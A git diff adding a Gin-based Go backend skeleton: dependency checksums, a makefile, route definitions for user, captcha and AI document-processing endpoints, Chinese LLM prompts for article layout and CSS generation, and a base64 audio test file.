v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= +golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= +golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= +golang.org/x/net v0.0.0-20201010224723-4f7140c49acb/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= +golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= +golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= +golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= +golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= +golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= +golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= +golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac= +golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= +golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= +golang.org/x/sync v0.5.0 h1:60k92dhOjHxJkrqnwsfl8KuaHbn/5dl0lUPUklKo3qE= +golang.org/x/sync v0.5.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= +golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= +golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20210616045830-e2b7044e8c71/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220715151400-c0bba94af5f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.20.0 h1:Od9JTbYCk261bKm4M/mw7AklTlFYIa0bIp9BgSm1S8Y= +golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= +golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= +golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= +golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= +golang.org/x/term v0.11.0/go.mod h1:zC9APTIj3jG3FdV/Ons+XE1riIZXG4aZ4GTHiPZJPIU= +golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= +golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= +golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= +golang.org/x/text v0.8.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= +golang.org/x/text v0.12.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= +golang.org/x/text v0.15.0 h1:h1V/4gjBv8v9cjcR6+AR5+/cIYK5N/WAgiv4xlsEtAk= +golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= +golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= +golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= +golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= +golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= +golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= +golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= +google.golang.org/protobuf v1.34.1 h1:9ddQBjfCyZPOHPUiPxpYESBLc+T8P3E+Vo4IbKZgFWg= +google.golang.org/protobuf v1.34.1/go.mod h1:c6P6GXX6sHbq/GpV6MGZEdwhWPcYBgnhAHhKbcUYpos= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/natefinch/lumberjack.v2 v2.2.1 h1:bBRl1b0OH9s/DuPhuXpNl+VtCaJXFZ5/uEFST95x9zc= +gopkg.in/natefinch/lumberjack.v2 v2.2.1/go.mod h1:YD8tP3GAjkrDg1eZH7EGmyESg/lsYskCTPBJVb9jqSc= +gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gorm.io/driver/mysql v1.5.6/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM= +gorm.io/driver/mysql v1.5.7 h1:MndhOPYOfEp2rHKgkZIhJ16eVUIRf2HmzgoPmh7FCWo= +gorm.io/driver/mysql v1.5.7/go.mod h1:sEtPWMiqiN1N1cMXoXmBbd8C6/l+TESwriotuRRpkDM= +gorm.io/driver/postgres v1.5.9 h1:DkegyItji119OlcaLjqN11kHoUgZ/j13E0jkJZgD6A8= +gorm.io/driver/postgres v1.5.9/go.mod h1:DX3GReXH+3FPWGrrgffdvCk3DQ1dwDPdmbenSkweRGI= +gorm.io/driver/sqlserver v1.5.3 h1:rjupPS4PVw+rjJkfvr8jn2lJ8BMhT4UW5FwuJY0P3Z0= +gorm.io/driver/sqlserver v1.5.3/go.mod h1:B+CZ0/7oFJ6tAlefsKoyxdgDCXJKSgwS2bMOQZT0I00= +gorm.io/gorm v1.25.7-0.20240204074919-46816ad31dde/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8= +gorm.io/gorm v1.25.7/go.mod h1:hbnx/Oo0ChWMn1BIhpy1oYozzpM15i4YPuHDmfYtwg8= +gorm.io/gorm v1.25.11 h1:/Wfyg1B/je1hnDx3sMkX+gAlxrlZpn6X0BXRlwXlvHg= +gorm.io/gorm v1.25.11/go.mod h1:xh7N7RHfYlNc5EmcI/El95gXusucDrQnHXe0+CgWcLQ= +gorm.io/plugin/dbresolver v1.5.2 h1:Iut7lW4TXNoVs++I+ra3zxjSxTRj4ocIeFEVp4lLhII= +gorm.io/plugin/dbresolver v1.5.2/go.mod h1:jPh59GOQbO7v7v28ZKZPd45tr+u3vyT+8tHdfdfOWcU= +modernc.org/libc v1.22.2 h1:4U7v51GyhlWqQmwCHj28Rdq2Yzwk55ovjFrdPjs8Hb0= +modernc.org/libc v1.22.2/go.mod h1:uvQavJ1pZ0hIoC/jfqNoMLURIMhKzINIWypNM17puug= +modernc.org/mathutil v1.5.0 h1:rV0Ko/6SfM+8G+yKiyI830l3Wuz1zRutdslNoQ0kfiQ= +modernc.org/mathutil v1.5.0/go.mod h1:mZW8CKdRPY1v87qxC/wUdX5O1qDzXMP5TH3wjfpga6E= +modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds= +modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU= +modernc.org/sqlite v1.20.3 h1:SqGJMMxjj1PHusLxdYxeQSodg7Jxn9WWkaAQjKrntZs= +modernc.org/sqlite v1.20.3/go.mod h1:zKcGyrICaxNTMEHSr1HQ2GUraP0j+845GYw37+EyT6A= +nullprogram.com/x/optparse v1.0.0/go.mod h1:KdyPE+Igbe0jQUrVfMqDMeJQIJZEuyV7pjYmp6pbG50= +rsc.io/pdf v0.1.1/go.mod h1:n8OzWcQ6Sp37PL01nO98y4iUCRdTGarVfzxY20ICaU4= diff --git a/GinSkeleton/main.go b/GinSkeleton/main.go new file mode 100644 index 0000000..bea21ba --- /dev/null +++ b/GinSkeleton/main.go @@ -0,0 +1,15 @@ +package main + +import ( + // "goskeleton/app/global/variable" + _ "goskeleton/bootstrap" + "goskeleton/routers" +) + +// 这里可以存放后端路由(例如后台管理系统) +func main() { + // router := routers.InitWebRouter() + // _ = router.Run(variable.ConfigYml.GetString("HttpServer.Web.Port")) + r:=routers.InitWebRouter_Co() + r.Run("localhost:14514") +} diff --git a/GinSkeleton/makefile b/GinSkeleton/makefile new file mode 100644 index 0000000..9f4dd34 --- /dev/null +++ b/GinSkeleton/makefile @@ -0,0 +1,49 @@ +#说明:makefile 文件只能在linux系统运行,windows 系统无法执行本文件定义的相关命令 +# 使用文档参考:https://www.yuque.com/xiaofensinixidaouxiang/bkfhct/zso6xo + +# 定义 makefile 的命名列表, 只需要将外部调用的公布在这里即可 +.PHONY: build-api build-web build-cli help + +# 设置 cmd/api/main.go 入口文件编译后的可执行文件名 +apiBinName="ginskeleton-api.linux64" + +# 设置 cmd/web/main.go 入口文件编译后的可执行文件名 +webBinName="ginskeleton-web.linux64" + +# 设置 cmd/cli/main.go 入口文件编译后的可执行文件名 +cliBinName="ginskeleton-cli.linux64" + +# 统一设置编译的目标平台公共参数 +all: + go env -w GOARCH=amd64 + go env -w GOOS=linux + go env -w CGO_ENABLED=0 + go env -w GO111MODULE=on + go env -w GOPROXY=https://goproxy.cn,direct + go mod tidy + +build-api:all clean-api build-api-bin +build-api-bin: + go build -o ${apiBinName} -ldflags "-w -s" -trimpath ./cmd/api/main.go + +build-web:all clean-web build-web-bin +build-web-bin: + go build -o ${webBinName} -ldflags "-w -s" -trimpath ./cmd/web/main.go + +build-cli:all clean-cli build-cli-bin +build-cli-bin: + go build -o ${cliBinName} -ldflags "-w -s" -trimpath ./cmd/cli/main.go + +# 编译前清理可能已经存在的旧文件 +clean-api: + @if [ -f ${apiBinName} ] ; then rm -rf ${apiBinName} ; fi +clean-web: + @if [ -f ${webBinName} ] ; then rm -rf ${webBinName} ; fi +clean-cli: + @if [ -f ${cliBinName} ] ; then rm -rf ${cliBinName} ; fi + +help: + @echo "make hep 查看编译命令列表" + @echo "make build-api 编译 cmd/api/main.go 入口文件 " + @echo "make build-web 编译 cmd/web/main.go 入口文件 " + @echo "make build-cli 编译 cmd/cli/main.go 入口文件 " \ No newline at end of file diff --git a/GinSkeleton/public/favicon.ico b/GinSkeleton/public/favicon.ico new file mode 100644 index 0000000..fd9b939 Binary files /dev/null and b/GinSkeleton/public/favicon.ico differ diff --git a/GinSkeleton/public/readme.md b/GinSkeleton/public/readme.md new file mode 100644 index 0000000..abd3cf5 --- /dev/null +++ b/GinSkeleton/public/readme.md @@ -0,0 +1,2 @@ +#### 特别说明 +> 1.虽然`gin`框架支持静态文件处理, 但是我们建议您将静态资源交给 `nginx` 去处理,以获得极速性能. \ No newline at end of file diff --git a/GinSkeleton/routers/api.go b/GinSkeleton/routers/api.go new file mode 100644 index 0000000..3fb1071 --- /dev/null +++ b/GinSkeleton/routers/api.go @@ -0,0 +1,74 @@ +package routers + +import ( + "github.com/gin-contrib/pprof" + "github.com/gin-gonic/gin" + "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/http/middleware/cors" + validatorFactory "goskeleton/app/http/validator/core/factory" + "goskeleton/app/utils/gin_release" + "net/http" +) + +// 该路由主要设置门户类网站等前台路由 + +func InitApiRouter() *gin.Engine { + var router *gin.Engine + // 非调试模式(生产模式) 日志写到日志文件 + if variable.ConfigYml.GetBool("AppDebug") == false { + //1.gin自行记录接口访问日志,不需要nginx,如果开启以下3行,那么请屏蔽第 34 行代码 + //gin.DisableConsoleColor() + //f, _ := os.Create(variable.BasePath + variable.ConfigYml.GetString("Logs.GinLogName")) + //gin.DefaultWriter = io.MultiWriter(f) + + //【生产模式】 + // 根据 gin 官方的说明:[GIN-debug] [WARNING] Running in "debug" mode. Switch to "release" mode in production. + // 如果部署到生产环境,请使用以下模式: + // 1.生产模式(release) 和开发模式的变化主要是禁用 gin 记录接口访问日志, + // 2.go服务就必须使用nginx作为前置代理服务,这样也方便实现负载均衡 + // 3.如果程序发生 panic 等异常使用自定义的 panic 恢复中间件拦截、记录到日志 + router = gin_release.ReleaseRouter() + } else { + // 调试模式,开启 pprof 包,便于开发阶段分析程序性能 + router = gin.Default() + pprof.Register(router) + } + // 设置可信任的代理服务器列表,gin (2021-11-24发布的v1.7.7版本之后出的新功能) + if variable.ConfigYml.GetInt("HttpServer.TrustProxies.IsOpen") == 1 { + if err := router.SetTrustedProxies(variable.ConfigYml.GetStringSlice("HttpServer.TrustProxies.ProxyServerList")); err != nil { + variable.ZapLog.Error(consts.GinSetTrustProxyError, zap.Error(err)) + } + } else { + _ = router.SetTrustedProxies(nil) + } + + //根据配置进行设置跨域 + if variable.ConfigYml.GetBool("HttpServer.AllowCrossDomain") { + router.Use(cors.Next()) + } + + router.GET("/", func(context *gin.Context) { + context.String(http.StatusOK, "Api 模块接口 hello word!") + }) + + //处理静态资源(不建议gin框架处理静态资源,参见 Public/readme.md 说明 ) + router.Static("/public", "./public") // 定义静态资源路由与实际目录映射关系 + //router.StaticFile("/abcd", "./public/readme.md") // 可以根据文件名绑定需要返回的文件名 + + // 创建一个门户类接口路由组 + vApi := router.Group("/api/v1/") + { + // 模拟一个首页路由 + home := vApi.Group("home/") + { + // 第二个参数说明: + // 1.它是一个表单参数验证器函数代码段,该函数从容器中解析,整个代码段略显复杂,但是对于使用者,您只需要了解用法即可,使用很简单,看下面 ↓↓↓ + // 2.编写该接口的验证器,位置:app/http/validator/api/home/news.go + // 3.将以上验证器注册在容器:app/http/validator/common/register_validator/api_register_validator.go 18 行为注册时的键(consts.ValidatorPrefix + "HomeNews")。那么获取的时候就用该键即可从容器获取 + home.GET("news", validatorFactory.Create(consts.ValidatorPrefix+"HomeNews")) + } + } + return router +} diff --git a/GinSkeleton/routers/web.go b/GinSkeleton/routers/web.go new file mode 100644 index 0000000..df2d480 --- /dev/null +++ b/GinSkeleton/routers/web.go @@ -0,0 +1,112 @@ +package routers + +import ( + "github.com/gin-contrib/pprof" + "github.com/gin-gonic/gin" + + // "go.uber.org/zap" + "goskeleton/app/global/consts" + "goskeleton/app/global/variable" + "goskeleton/app/http/controller/captcha" + "goskeleton/app/http/middleware/authorization" + "goskeleton/app/http/middleware/cors" + validatorFactory "goskeleton/app/http/validator/core/factory" + // "goskeleton/app/utils/gin_release" + // "net/http" +) + +func InitWebRouter_Co() *gin.Engine { + var router *gin.Engine = gin.Default() + // 日志显示在控制台 + pprof.Register(router) + + //根据配置进行设置跨域 + if variable.ConfigYml.GetBool("HttpServer.AllowCrossDomain") { + router.Use(cors.Next()) + } + + // 创建一个验证码路由 + verifyCode := router.Group("captcha") + { + // 验证码业务,该业务无需专门校验参数,所以可以直接调用控制器 + verifyCode.GET("/", (&captcha.Captcha{}).GenerateId) // 获取验证码ID + verifyCode.GET("/:captcha_id", (&captcha.Captcha{}).GetImg) // 获取图像地址 + verifyCode.GET("/:captcha_id/:captcha_value", (&captcha.Captcha{}).CheckCode) // 校验验证码 + } + // 创建一个后端接口路由组 + backend := router.Group("/admin/") + { + + // 【不需要token】中间件验证的路由 用户注册、登录 + noAuth := backend.Group("users/") + { + // 关于路由的第二个参数用法说明 + // 1.编写一个表单参数验证器结构体,参见代码: app/http/validator/web/users/register.go + // 2.将以上表单参数验证器注册,遵守 键 =》值 格式注册即可 ,app/http/validator/common/register_validator/web_register_validator.go 20行就是注册时候的键 consts.ValidatorPrefix+"UsersRegister" + // 3.按照注册时的键,直接从容器调用即可 :validatorFactory.Create(consts.ValidatorPrefix+"UsersRegister") + noAuth.POST("register", validatorFactory.Create(consts.ValidatorPrefix+"UsersRegister")) // ok + // 不需要验证码即可登陆 + noAuth.POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) // ok + + // 如果加载了验证码中间件,那么就需要提交验证码才可以登陆(本质上就是给登陆接口增加了2个参数:验证码id提交时的键:captcha_id 和 验证码值提交时的键 captcha_value,具体参见配置文件) + //noAuth.Use(authorization.CheckCaptchaAuth()).POST("login", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogin")) + + // 获取公钥,用于密码等敏感信息的加密 + noAuth.POST("publickey", validatorFactory.Create(consts.ValidatorPrefix+"PublicKey")) + } + + // 刷新token + refreshToken := backend.Group("users/") + { + // 刷新token,当过期的token在允许失效的延长时间范围内,用旧token换取新token + refreshToken.Use(authorization.RefreshTokenConditionCheck()).POST("refreshtoken", validatorFactory.Create(consts.ValidatorPrefix+"RefreshToken")) + } + // TODO:linlnf + // 人工智能识别相关 + aiRecognition := backend.Group("ai_recognition/") + { + // 请求图片文字识别 + aiRecognition.POST("pic_recognition", validatorFactory.Create(consts.ValidatorPrefix+"PicRecognition")) + // 请求语音识别 + aiRecognition.POST("voc_recognition", validatorFactory.Create(consts.ValidatorPrefix+"VocRecognition")) + } + // TODO:linlnf + // 人工智能文档处理相关 + aiDoc := backend.Group("ai_doc/") + { + // 请求优化文字 + aiDoc.POST("doc_refine", validatorFactory.Create(consts.ValidatorPrefix+"DocRefine")) + } + + // 智能排版相关 + aiLayout := backend.Group("ai_layout/") + { + // 请求样式生成 + aiLayout.POST("style_generate", validatorFactory.Create(consts.ValidatorPrefix+"StyleGenerate")) + // 请求排版 + aiLayout.POST("layout_generate", validatorFactory.Create(consts.ValidatorPrefix+"LayoutGenerate")) + } + + // 【需要token】中间件验证的路由 + backend.Use(authorization.CheckTokenAuth()) + { + // 用户组路由 + users := backend.Group("users/") + { + // 查询 ,这里的验证器直接从容器获取,是因为程序启动时,将验证器注册在了容器,具体代码位置:App\Http\Validator\Web\Users\xxx + // 展示用户详细信息-用户名、ID + users.GET("info", validatorFactory.Create(consts.ValidatorPrefix+"UsersInfo")) + // 新增 + // users.POST("create", validatorFactory.Create(consts.ValidatorPrefix+"UsersStore")) // not need + // 更新用户名或密码 + users.POST("username", validatorFactory.Create(consts.ValidatorPrefix+"UsersNameUpdate")) + users.POST("password", validatorFactory.Create(consts.ValidatorPrefix+"UsersPasswordUpdate")) + // 注销用户 + users.POST("delete", validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy")) + // 退出登录 + users.POST("logout", validatorFactory.Create(consts.ValidatorPrefix+"UsersLogout")) + } + } + } + return router +} diff --git a/GinSkeleton/storage/app/prompt/layout_generate.prompt b/GinSkeleton/storage/app/prompt/layout_generate.prompt new file mode 100644 index 0000000..9c6d4a6 --- /dev/null +++ b/GinSkeleton/storage/app/prompt/layout_generate.prompt @@ -0,0 +1,5 @@ +请将以下文章进行重新排版,使其格式更加美观且井然有序,同时保留文章的所有原始内容和文字,不要对内容进行任何修改。 +请你调整标题样式,将所有标题改为清晰的分级结构。文章标题使用#,一级标题使用##,以此类推。 +正文部分的段落需适当分段,避免过长或过短。 请确保整体排版整洁、易于阅读。 +所有的图片已被替换为"tag图片1"、"tag图片2"等,在处理时不要考虑图片本身,不要删除这些tag。 +不要对文章的原始内容进行修改。只返回重新排版后的内容,不要返回其他的额外内容。 \ No newline at end of file diff --git a/GinSkeleton/storage/app/prompt/style_generate.prompt b/GinSkeleton/storage/app/prompt/style_generate.prompt new file mode 100644 index 0000000..2f9b56c --- /dev/null +++ b/GinSkeleton/storage/app/prompt/style_generate.prompt @@ -0,0 +1,100 @@ +### 角色 +你是一个设计和 CSS 专家,能够根据用户需求生成精确的 CSS 样式。只能使用css来生成对应的样式,不能修改页面的html代码和使用js代码。 如果用户提出与生成CSS样式无关的问题,请回答“对不起,我无法回答该问题” +### 知识 +不同的样式对应的element如下: +标题:(i为标题级别,如 h1, h2 等) +文本块:

+块引用:

+文本: +代码块:
+所有样式都需在 .ck-content 中定义,格式为:
+``` css
+.ck-content element.className { ... }
+```
+[element为不同样式类对应的元素名,如文本框对应的element为p]
+### 输出
+仅输出你编写的 CSS 内容,不要对其进行解释和输出其他内容。!important
+只需要精确输出用户需要生成的样式,不要生成用户未指定的样式。
+### 示例
+#### 示例一
+用户输入:生成一个文本块(文本框)样式
+输出:
+``` css
+.ck-content p.info-box { 
+    --background-size: 30px; 
+    --background-color: #e91e63; 
+    padding: 1.2em 2em; 
+    border: 1px solid var(--background-color); 
+    background: linear-gradient(135deg, var(--background-color) 0%, var(--background-color) var(--background-size), transparent var(--background-size)), linear-gradient(135deg, transparent calc(100% - var(--background-size)), var(--background-color) calc(100% - var(--background-size)), var(--background-color)); 
+    border-radius: 10px; 
+    margin: 1.5em 2em; 
+    box-shadow: 5px 5px 0 #ffe6ef; 
+}
+```
+
+#### 示例二
+用户输入:生成一个代码框样式
+输出:
+```css
+.ck-content pre.fancy-code {
+        border: 0;
+        margin-left: 2em;
+        margin-right: 2em;
+        border-radius: 10px;
+}
+
+.ck-content pre.fancy-code::before {
+        content: '';
+        display: block;
+        height: 13px;
+        background: url(data:image/svg+xml;base64,PHN2ZyBmaWxsPSJub25lIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA1NCAxMyI+CiAgPGNpcmNsZSBjeD0iNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGMzZCNUMiLz4KICA8Y2lyY2xlIGN4PSIyNi41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiNGOUJFNEQiLz4KICA8Y2lyY2xlIGN4PSI0Ny41IiBjeT0iNi41IiByPSI2LjUiIGZpbGw9IiM1NkM0NTMiLz4KPC9zdmc+Cg==);
+        margin-bottom: 8px;
+        background-repeat: no-repeat;
+}
+
+.ck-content pre.fancy-code-dark {
+        background: #272822;
+        color: #fff;
+        box-shadow: 5px 5px 0 #0000001f;
+}
+```
+
+#### 示例三
+用户输入:生成一个块引用样式
+输出:
+```css
+.ck-content blockquote.side-quote {
+        font-family: 'Oswald';
+        font-style: normal;
+        float: right;
+        width: 35%;
+        position: relative;
+        border: 0;
+        overflow: visible;
+        z-index: 1;
+        margin-left: 1em;
+}
+
+.ck-content blockquote.side-quote::before {
+        content: '“';
+        position: absolute;
+        top: -37px;
+        left: -10px;
+        display: block;
+        font-size: 200px;
+        color: #e7e7e7;
+        z-index: -1;
+        line-height: 1;
+}
+
+.ck-content blockquote.side-quote p {
+        font-size: 2em;
+        line-height: 1;
+}
+
+.ck-content blockquote.side-quote p:last-child:not(:first-child) {
+        font-size: 1.3em;
+        text-align: right;
+        color: #555;
+}
+```
diff --git a/GinSkeleton/storage/app/test/A13_221.txt b/GinSkeleton/storage/app/test/A13_221.txt
new file mode 100644
index 0000000..b781229
--- /dev/null
+++ b/GinSkeleton/storage/app/test/A13_221.txt
@@ -0,0 +1 @@
+UklGRqQGBABXQVZFZm10IBAAAAABAAEAgD4AAAB9AAACABAAZGF0YYAGBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA